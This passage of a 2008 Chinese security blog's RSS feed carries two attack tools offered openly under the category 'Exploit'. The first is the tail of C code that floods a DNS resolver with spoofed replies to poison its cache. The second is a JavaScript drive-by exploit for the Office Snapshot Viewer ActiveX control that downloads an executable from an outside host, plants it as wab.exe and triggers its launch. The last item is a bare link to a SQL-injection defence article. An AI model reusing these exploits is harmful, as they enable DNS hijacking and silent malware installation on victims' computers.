ip_resolver, name);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (ip_send(iph, buf, len) != len)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; err(1, &amp;quot;ip_send&amp;quot;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // give the resolver enough time to forward the query and be in a state&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // where it waits for answers; sleeping 10ms here limits the number of&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // attempts to 100 per sec&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; usleep(10000);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // send spoofed replies, each reply contains:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // - 1 query: query for the &amp;quot;random hostname&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // - 1 answer: &amp;quot;random hostname&amp;quot; A 1.1.1.1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // - 1 authoritative nameserver: &amp;lt;domain&amp;gt; NS &amp;lt;subhost&amp;gt;.&amp;lt;domain&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // - 1 additional record: &amp;lt;subhost&amp;gt;.&amp;lt;domain&amp;gt; A &amp;lt;any-ip&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; snprintf(ns, sizeof (ns), &amp;quot;%s.%s&amp;quot;, subhost, domain);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; unsigned r;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (r = 0; r &amp;lt; replies; r++)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // use a txid that is just 'r': 0..(replies-1)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; len = build_response(buf, ip_authoritative, ip_resolver,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; port_resolver, r, name, &amp;quot;1.1.1.1&amp;quot;, domain, ns, anyip);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (ip_send(iph, buf, len) != len)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; err(1, &amp;quot;ip_send&amp;quot;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cnt++;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip_close(iph);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; return 0;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;</description><category>Exploit</category><pubDate>Tue, 29 Jul 2008 10:14:31 +0800</pubDate><author>X4ng's Blog</author><comments>http://cmwlwx.blog.sohu.com/95812608.html#comment</comments><guid isPermaLink="false">http://cmwlwx.blog.sohu.com/95812608.html</guid><dc:creator>X4ng's Blog</dc:creator><fs:srclink>http://cmwlwx.blog.sohu.com/95812608.html</fs:srclink><fs:srcfeed>http://cmwlwx.blog.sohu.com/rss</fs:srcfeed><fs:itemid>feedsky/cmwl/~1217621/117736125/1219356</fs:itemid></item><item><title>MS Office Snapshot Viewer ActiveX Exploit (可执行版)</title><link>http://item.feedsky.com/~feedsky/cmwl/~1217621/117736126/1219356/1/item.html</link><description>By:lcx&lt;br /&gt;&lt;br /&gt;可执行版，请勿用于非法用途。&lt;br /&gt;
&lt;div&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&lt;br /&gt;function killErrors() {&lt;br /&gt;return true;&lt;br /&gt;}&lt;br /&gt;window.onerror = killErrors;&lt;br /&gt;&lt;br /&gt;var x;&lt;br /&gt;var obj;&lt;br /&gt;var mycars = new Array();&lt;br /&gt;mycars[0] = &amp;quot;c:/Program Files/Outlook Express/wab.exe&amp;quot;;&lt;br /&gt;mycars[1] = &amp;quot;d:/Program Files/Outlook Express/wab.exe&amp;quot;;&lt;br /&gt;mycars[2] = &amp;quot;e:/Program Files/Outlook Express/wab.exe&amp;quot;;&lt;br /&gt;&lt;br /&gt;var objlcx = new ActiveXObject(&amp;quot;snpvw.Snapshot Viewer Control.1&amp;quot;);&lt;br /&gt;&lt;br /&gt;if(objlcx=&amp;quot;[object]&amp;quot;)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;setTimeout('window.location = &amp;quot;ldap://&amp;quot;',3000);&lt;br /&gt;&lt;br /&gt;for (x in mycars)&lt;br /&gt;{&lt;br /&gt;obj = new ActiveXObject(&amp;quot;snpvw.Snapshot Viewer Control.1&amp;quot;)&lt;br /&gt;&lt;br /&gt;var buf1 = 'http://192.168.8.10/333.exe';&lt;br /&gt;var buf2=mycars[x];&lt;br /&gt;&lt;br /&gt;obj.Zoom = 0;&lt;br /&gt;obj.ShowNavigationButtons = false;&lt;br /&gt;obj.AllowContextMenu = false;&lt;br /&gt;obj.SnapshotPath = buf1;&lt;br /&gt;&lt;br /&gt;try&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;obj.CompressedPath = buf2;&lt;br /&gt;&amp;nbsp;obj.PrintSnapshot();&lt;br /&gt;&lt;br /&gt;}catch(e){}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/div&gt;</description><category>Exploit</category><pubDate>Thu, 17 Jul 2008 12:52:48 +0800</pubDate><author>X4ng's Blog</author><comments>http://cmwlwx.blog.sohu.com/94792242.html#comment</comments><guid isPermaLink="false">http://cmwlwx.blog.sohu.com/94792242.html</guid><dc:creator>X4ng's Blog</dc:creator><fs:srclink>http://cmwlwx.blog.sohu.com/94792242.html</fs:srclink><fs:srcfeed>http://cmwlwx.blog.sohu.com/rss</fs:srcfeed><fs:itemid>feedsky/cmwl/~1217621/117736126/1219356</fs:itemid></item><item><title>對付 SQL Injection 的 &quot;免費補洞策略&quot;</title><link>http://item.feedsky.com/~feedsky/cmwl/~1217621/117736127/1219356/1/item.html</link><description>&lt;a href=&quot;http://www.microsoft.com/taiwan/msdn/columns/huang_jhong_cheng/LVSS.htm&quot; target=&quot;_blank&quot;&gt;http://www.microsoft.com/taiwan/msdn/columns/huang_jhong_cheng/LVSS.htm&lt;/a&gt;</description><pubDate>Sat, 12 Jul 2008 11:32:16 +0800</pubDate><author>X4ng's Blog</author><comments>http://cmwlwx.blog.sohu.com/94339828.html#comment</comments><guid isPermaLink="false">http://cmwlwx.blog.sohu.com/94339828.html</guid><dc:creator>X4ng's Blog</dc:creator><fs:srclink>http://cmwlwx.blog.sohu.com/94339828.html</fs:srclink><fs:srcfeed>http://cmwlwx.blog.sohu.com/rss</fs:srcfeed><fs:itemid>feedsky/cmwl/~1217621/117736127/1219356</fs:itemid></item></channel></rss>